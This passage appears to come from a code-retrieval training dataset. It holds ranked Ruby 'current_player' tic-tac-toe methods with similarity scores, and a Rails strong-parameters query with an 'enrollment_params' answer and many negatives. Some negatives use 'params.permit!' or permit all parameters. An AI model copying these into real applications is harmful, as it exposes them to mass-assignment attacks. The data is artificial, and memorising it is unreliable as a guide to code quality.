[ "def current_player\n if board.turn_count.odd?\n player_2\n elsif board.turn_count.even?\n player_1\n end\n end", "def current_player\n board.turn_count.even? ? @player_1 : @player_2\n end", "def current_player\n board.turn_count % 2 == 0 ? player_1 : player_2\n end", "def current_player #player 1 goes first because 0 is even. so first turn is player 1, second is player 2, 3rd is player 1\n @board.turn_count.even? ? @player_1 : @player_2\n end", "def current_player\n @board.turn_count.even? ? @player_1 : @player_2\n\n end", "def current_player\n @board.turn_count.even? ? @player_1 : @player_2\n end", "def current_player(board)\n if turn_count(board) % 2 == 0\n return \"X\" #even turn count == X\n end \n return \"O\" #odd turn count == O \nend", "def current_player\n self.board.turn_count.even?? self.player_1 : self.player_2\n end", "def current_player\n board.turn_count.even? ? player_1 : player_2 #call to #turn_count & #even? on it. Ternary Operator\n end", "def current_player\n if @board.turn_count.even?\n @player_1\n else\n @player_2\n end\n end", "def current_player_turn\n turns % 2 == 0 ? 1 : 2\n end", "def current_player(board)\n if turn_count(board) % 2 ==0\n return \"X\"\n else\n return \"O\"\n end\nend", "def current_player(board)\n turns = turn_count(board) % 2\n if turns == 0\n return \"X\"\n else\n return \"O\"\nend\nend", "def current_player(board)\n turn_count(board)%2 == 0 ? \"X\" : \"O\"\nend", "def current_player\n @board.turn_count % 2 == 0 ? @player_1 : @player_2\n end", "def current_player\n @board.turn_count % 2 == 0 ? @player_1 : @player_2\n end", "def current_player\n @board.turn_count % 2 == 0 ? @player_1 : @player_2\n end", "def current_player\n @board.turn_count % 2 == 0 ? @player_1 : @player_2\n end", "def current_player(board)\r\n if (turn_count(board) + 1) %2 == 0\r\n \"O\"\r\n else\r\n \"X\"\r\n end\r\nend", "def current_player\n @board.turn_count.even? ? @player_1 : @player_2;\n end", "def current_player(board)\n turn_count(board) % 2 == 0 ? \"X\" : \"O\"\nend", "def current_player(board)\n turn_count(board) % 2 == 0 ? \"X\" : \"O\"\nend", "def current_player(board)\n turn_count(board) % 2 == 0 ? \"X\" : \"O\"\nend", "def current_player(board)\n turn_count(board) % 2 == 0 ? \"X\" : \"O\"\nend", "def current_player(board)\n (turn_count(board) % 2 == 0) ? \"X\" : \"O\"\nend", "def current_player(board)\n turn_count(board)\n if turn_count(board) % 2 == 0\n \"X\"\n else\n \"O\"\n end\nend", "def current_player(board)\n if turn_count(board) % 2 == 0\n \"X\"\n elsif turn_count(board) % 2 == 1\n \"O\"\n end\nend", "def current_player(board)\nturn_count(board).even? ? \"X\":\"O\"\nend", "def current_player(board)\n if turn_count(board) % 2 == 0\n return \"X\"\n else \n return \"O\"\n end\nend", "def current_player\n if turn_count.even?\n player_1\n else\n player_2\n end\n end", "def current_player(board)\n if turn_count(board) % 2 == 0\n return \"X\"\n else\n return \"O\"\n end\nend", "def current_player(board)\n if turn_count(board) % 2 == 0\n return \"X\"\n else\n return \"O\"\n end\nend", "def current_player(board)\n if turn_count(board) % 2 == 0\n return \"X\"\n else\n return \"O\"\n end\nend", "def current_player(board)\n if turn_count(board) % 2 == 0\n return \"X\"\n else\n return \"O\"\n end\nend", "def current_player(board)\n if turn_count(board) % 2 == 0\n return \"X\"\n else\n return \"O\"\n end\nend", "def current_player(board)\n if turn_count(board) % 2 == 0\n return \"X\"\n else\n return \"O\"\n end\nend", "def current_player(board)\n if turn_count(board) % 2 == 0\n return \"X\"\n else\n return \"O\"\n end\nend", "def current_player(board)\n #is turn count divisible by 2 then return X, if not, return O. \n turn_count(@board) % 2 == 0? \"X\" : \"O\"\n end", "def current_player(board)\n if turn_count(board) == 0\n return \"X\"\n elsif\n turn_count(board) % 2 == 0 \n return \"X\"\n else\n return \"O\"\n end \n end", "def current_player(board)\n if turn_count(board) == 0\n return \"X\"\n elsif\n turn_count(board) % 2 == 0 \n return \"X\"\n else\n return \"O\"\n end \n end", "def current_player(board)\r\n (turn_count(board) % 2 == 0)? \"X\" : \"O\"\r\nend", "def current_player(board)\n turn_count(board)\n if turn_count(board).even?\n \"X\"\n else \n \"O\"\n end\nend", "def current_player(board)\n next_turn = turn_count(board)\n if next_turn % 2 == 0 \n return 'X'\n else \n return 'O'\n end\nend", "def current_player(board)\n player = turn_count(board).even? ? \"X\" : \"O\"\nend", "def current_player(board)\n return turn_count(board)%2==0 ? \"X\" : \"O\"\nend", "def current_player(board)\nif turn_count(board) % 2 == 0\n \"X\"\nelsif turn_count(board) % 2 == 1\n \"O\"\n end\nend", "def current_player(board)\n counter = turn_count(board)\n if counter % 2 == 0\n return \"X\"\n else\n return \"O\"\n end\nend", "def current_player(board)\n count = turn_count(board)\n count.even? ? \"X\" : \"O\"\nend", "def current_player(board)\n return turn_count(board) % 2 == 0 ? \"X\" : \"O\";\nend", "def current_player(board)\n \n num_turns = turn_count(board)\n \n if num_turns % 2 == 0\n return \"X\"\n else\n return \"O\"\n end\n\nend", "def current_player(board)\n turn_count(board).even? ? \"X\" : \"O\"\nend", "def current_player(board)\n turn_count(board).even? ? \"X\" : \"O\"\nend", "def current_player(board)\n turn_count(board).even? ? \"X\" : \"O\"\nend", "def current_player(board)\n turn_count(board).even? ? \"X\" : \"O\"\nend", "def current_player(board)\n turn_count(board).even? ? \"X\" : \"O\"\nend", "def current_player(board)\n turn_count(board).even? ? \"X\" : \"O\"\nend", "def current_player(board)\n turn_count(board).even? ? \"X\" : \"O\"\nend", "def current_player(board)\n turn_count(board).even? ? \"X\" : \"O\"\nend", "def current_player(board)\n turn_count(board).even? ? \"X\" : \"O\"\nend", "def current_player(board)\n turn_count(board).even? ? \"X\" : \"O\"\nend", "def current_player(board)\n if turn_count(board) % 2 == 0 \n \"X\"\n else\n \"O\"\n end\nend", "def current_player(board)\n if (turn_count(board) % 2 == 0)\n return \"X\"\n elsif !(turn_count(board) % 2 == 0)\n return \"O\"\n end\nend", "def current_player(board)\n if turn_count(board).even?\n \"X\"\n else\n \"O\"\n end\nend", "def current_player(board)\n if turn_count(board).even?\n \"X\"\n else\n \"O\"\n end\nend", "def current_player(board)\n current_pla = turn_count(board)\n if current_pla %2==0\n return \"X\"\n else\n return \"O\"\n end\n \nend", "def current_player(board)\n current_player = turn_count(board) % 2 == 0 ? \"X\" : \"O\"\n\nend", "def current_player(board)\n count = turn_count(board)\n if count.even?\n return \"X\"\n else\n return \"O\"\n end\nend", "def current_player(board)\n current_turn = turn_count(board)\n if current_turn == 0 || current_turn % 2 == 0\n return \"X\"\n else\n return \"O\"\n end\nend", "def current_player(board)\n if turn_count(board) % 2 == 0\n \"X\"\n else\n \"O\"\n end\nend", "def current_player(board)\n if turn_count(board).even?\n return \"X\"\n else\n return \"O\"\n end\nend", "def current_player(board)\n if turn_count(board).even?\n return \"X\"\n else\n return \"O\"\n end\nend", "def current_player(board)\n if (turn_count(board) % 2) == 0\n player = \"X\"\n elsif (turn_count(board) % 2) != 0\n player = \"O\"\n end\nend", "def current_player(board)\nturn_count(board).even? ? \"X\" : \"O\"\nend", "def current_player(board)\n if turn_count(board).odd?\n \"O\"\n else\n \"X\"\n end\nend", "def current_player(board)\n turns=turn_count(board)\n if(turns%2==0)\n \"X\"\n else\n \"O\"\n end\nend", "def current_player(board)\n turn_count(board).odd? ? \"O\" : \"X\"\nend", "def current_player(board)\n turn_count(board).odd? ? \"O\" : \"X\"\nend", "def current_player(board)\n if turn_count(board).even?\n \"X\"\n elsif turn_count(board).odd?\n \"O\"\n end\nend", "def current_player(board)\n if turn_count(board).even?\n current_player = \"X\"\n else\n current_player = \"O\"\n end\nend", "def current_player(board)\n\tcount = turn_count(board)\n\tcount % 2 == 0 ? \"X\" : \"O\"\nend", "def current_player(board)\n turns = turn_count(board)\n if turns.odd?\n return \"O\"\n else\n return \"X\"\n end\nend", "def current_player(board)\n#player = \"X\"\nif (turn_count(board) % 2) == 0\n player = \"X\"\nelsif (turn_count(board) % 2) != 0\n player = \"O\"\nend\nend", "def current_player(board)\n return [\"X\", \"O\"][turn_count(board) % 2]\nend", "def current_player(board)\n return (turn_count(board).even? ? \"X\" : \"O\")\nend", "def current_player(board)\n return turn_count(board).odd? ? \"O\" : \"X\"\n\nend", "def current_player(board)\n counter_turn = turn_count(board)\n if counter_turn % 2 == 0\n \"X\"\n else\n \"O\"\n end\n end", "def current_player(board)\n count = turn_count(board)\n \n player = count.even? ? \"X\" : \"O\"\n \n return player\nend", "def current_player(board)\n turn_count(board).even? ? \"X\" : turn_count(board).odd? ? \"O\" : \"X\"\n end", "def current_player(board)\n count = turn_count(board)\n return count.odd? ? \"O\" : \"X\"\nend", "def current_player(board)\n#takes #turn_count and checks if even, then(?) gives value of X, else(:) it is O\n turn_count(board) % 2 == 0 ? \"X\" : \"O\"\nend", "def current_player\n turn_count \n if turn_count%2 != 0 \n \"O\"\n else\n \"X\"\n end\nend", "def current_player(board)\n turn_count(board) % 2 == 0 ? \"X\" : \"O\" #call #turn_count. Ternary operators ? : looks for true/false values then executes\nend", "def current_player\n turn_count % 2 == 0 ? \"X\" : \"O\"\nend", "def current_player(board)\n if turn_count(board)%2 == 0\n current_player = \"X\"\n else\n current_player = \"O\"\n end\n return current_player\nend", "def current_player(board)\n if turn_count(board)&1==0 || turn_count(board) == 0;\n return \"X\"\n else\n return \"O\"\n end\nend", "def current_player(board)\n player = \"\"\n if turn_count(board) % 2 == 0\n player= \"X\"\n else\n player = \"O\"\n end\n player\nend", "def current_player\n turn_count.even? ? \"X\" : \"O\"\n end", "def current_player\n turns_played = turn_count()\n if turns_played % 2 == 0\n return \"X\"\n else\n return \"O\"\n end\n end", "def current_player(board)\n #if (turn_count(board) % 2) == 0\n #return \"X\"\n #else\n #return \"O\"\n #end\n\n output = (turn_count(board) % 2) == 0 ? \"X\" : \"O\"\nend", "def current_player(board)\n\t\tif board.turn_count.odd?\n\t\t\t\"O\" # If the number of turns is an odd number it is Player two with the \"O\" token\n\t\telse\n\t\t\t\"X\" # If the number of turns is an even number it is Player one with the \"X\" token\n\t\tend\n\tend" ]
[ "0.8850004", "0.87865525", "0.8780555", "0.8768195", "0.8764739", "0.87511826", "0.8750581", "0.8744386", "0.8738484", "0.87289035", "0.8698882", "0.8698318", "0.8683913", "0.86829966", "0.8677784", "0.8677784", "0.8677784", "0.8677784", "0.86686176", "0.8663312", "0.86618817", "0.86618817", "0.86618817", "0.86618817", "0.8649735", "0.8648022", "0.8645747", "0.86347103", "0.86206406", "0.8617894", "0.8609184", "0.8609184", "0.8609184", "0.8609184", "0.8609184", "0.8609184", "0.8609184", "0.86091", "0.86080694", "0.86080694", "0.8601151", "0.8597548", "0.8594804", "0.85919833", "0.8580009", "0.8577516", "0.8573601", "0.85679096", "0.85667056", "0.8564289", "0.8563414", "0.8563414", "0.8563414", "0.8563414", "0.8563414", "0.8563414", "0.8563414", "0.8563414", "0.8563414", "0.8563414", "0.85574925", "0.8554445", "0.85471684", "0.85471684", "0.854655", "0.8546128", "0.8531981", "0.8521069", "0.8515286", "0.8505423", "0.8505423", "0.8497968", "0.84884655", "0.84829867", "0.84682256", "0.8461224", "0.8461224", "0.84413487", "0.8435702", "0.8418541", "0.8412734", "0.8392722", "0.8389778", "0.8386184", "0.8374037", "0.8364213", "0.83379686", "0.8326669", "0.8314961", "0.83088756", "0.830655", "0.8279051", "0.82611156", "0.8242662", "0.8241438", "0.8132152", "0.8122521", "0.8121557", "0.81032", "0.80965173" ]
0.847955
74
Never trust parameters from the scary internet, only allow the white list through.
def enrollment_params params.require(:enrollment).permit(:section_id, :student_id) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def param_whitelist\n [:role, :title]\n end", "def expected_permitted_parameter_names; end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def param_whitelist\n [:rating, :review]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def permitted_params\n []\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params; true; end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def quote_params\n params.permit!\n end", "def valid_params?; end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "def filtered_parameters; end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def filtering_params\n params.permit(:email, :name)\n end", "def check_params\n true\n end", "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "def active_code_params\n params[:active_code].permit\n end", "def filtering_params\n params.permit(:email)\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def list_params\n params.permit(:name)\n end", "def filter_parameters; end", "def filter_parameters; end", "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def url_whitelist; end", "def admin_social_network_params\n params.require(:social_network).permit!\n end", "def filter_params\n params.require(:filters).permit(:letters)\n end", "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "def sensitive_params=(params)\n @sensitive_params = params\n end", "def permit_request_params\n params.permit(:address)\n end", "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "def secure_params\n params.require(:location).permit(:name)\n end", "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "def url_params\n params[:url].permit(:full)\n end", "def backend_user_params\n params.permit!\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end" ]
[ "0.69792545", "0.6781151", "0.67419964", "0.674013", "0.6734356", "0.6591046", "0.6502396", "0.6496313", "0.6480641", "0.6477825", "0.64565", "0.6438387", "0.63791263", "0.63740575", "0.6364131", "0.63192815", "0.62991166", "0.62978333", "0.6292148", "0.6290449", "0.6290076", "0.62894756", "0.6283177", "0.6242471", "0.62382483", "0.6217549", "0.6214457", "0.6209053", "0.6193042", "0.6177802", "0.6174604", "0.61714715", "0.6161512", "0.6151757", "0.6150663", "0.61461", "0.61213595", "0.611406", "0.6106206", "0.6105114", "0.6089039", "0.6081015", "0.6071004", "0.60620916", "0.6019971", "0.601788", "0.6011056", "0.6010898", "0.6005122", "0.6005122", "0.6001556", "0.6001049", "0.59943926", "0.5992201", "0.59909594", "0.5990628", "0.5980841", "0.59669393", "0.59589154", "0.5958826", "0.5957911", "0.5957385", "0.5953072", "0.59526145", "0.5943361", "0.59386164", "0.59375334", "0.59375334", "0.5933856", "0.59292704", "0.59254247", "0.5924164", "0.59167904", "0.59088355", "0.5907542", "0.59064597", "0.5906243", "0.5898226", "0.589687", "0.5896091", "0.5894501", "0.5894289", "0.5891739", "0.58860534", "0.5882406", "0.587974", "0.58738774", "0.5869024", "0.58679986", "0.5867561", "0.5865932", "0.5864461", "0.58639693", "0.58617616", "0.5861436", "0.5860451", "0.58602303", "0.5854586", "0.58537364", "0.5850427", "0.5850199" ]
0.0
-1